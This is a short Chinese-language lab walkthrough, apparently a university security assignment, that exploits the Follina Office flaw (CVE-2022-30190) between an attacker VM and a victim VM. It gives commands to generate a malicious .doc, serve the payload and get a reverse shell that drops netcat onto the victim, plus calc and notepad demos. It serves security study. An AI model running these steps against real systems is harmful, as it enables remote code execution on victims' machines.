CVE 30190

Amine TITROFINE | 2022年12月17日

Follina（CVE-2022-30190）是最近发现的微软 Office 零日漏洞。这是一个高严重性漏洞，攻击者可借此发起远程代码执行（RCE）攻击。当调用应用程序（如 Word）通过 URL 协议调用 MSDT 时，就会触发该漏洞。成功利用此漏洞的攻击者可以以调用应用程序的权限运行任意代码。攻击者随后可以在用户权限允许的上下文中安装程序、查看、更改或删除数据，或创建新帐户。

环境

2 台虚拟机：

• 攻击机
  • kali-linux-2022.3-virtualbox-amd64（下载链接）
• 受害者机器
  • Windows 10（64 位）（下载链接）
  • Microsoft Office 2016 Pro（下载链接）

漏洞利用

$ git clone https://gitlab.com/grenoble-inp-ensimag/Secu3A/Devoir1/CVE_2022_30190_amine_titrofine_farah_ben_youssef_walid_lanjri.git

$ cd CVE_2022_30190_amine_titrofine_farah_ben_youssef_walid_lanjri

$ python3 follina.py –r 9999

运行 follina.py 程序后，会生成一个（follina.doc），其中包含恶意脚本。

为了方便在两台虚拟机之间共享文件，我们将使用 Python http 服务器

$ python3 –m http.server 8080

示例

在端口 9999 上获取反向 shell。注意，这会将一个 netcat 二进制文件下载到受害者机器上，并将其放置在 C:\Windows\Tasks 中。它不会清理该二进制文件。除非禁用防病毒软件，否则这会触发防病毒检测。

$ python3 follina.py -r 9999

弹出 calc.exe：

$ python3 follina.py -c "calc"
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000

弹出 notepad.exe：

$ python3 follina.py -c "notepad"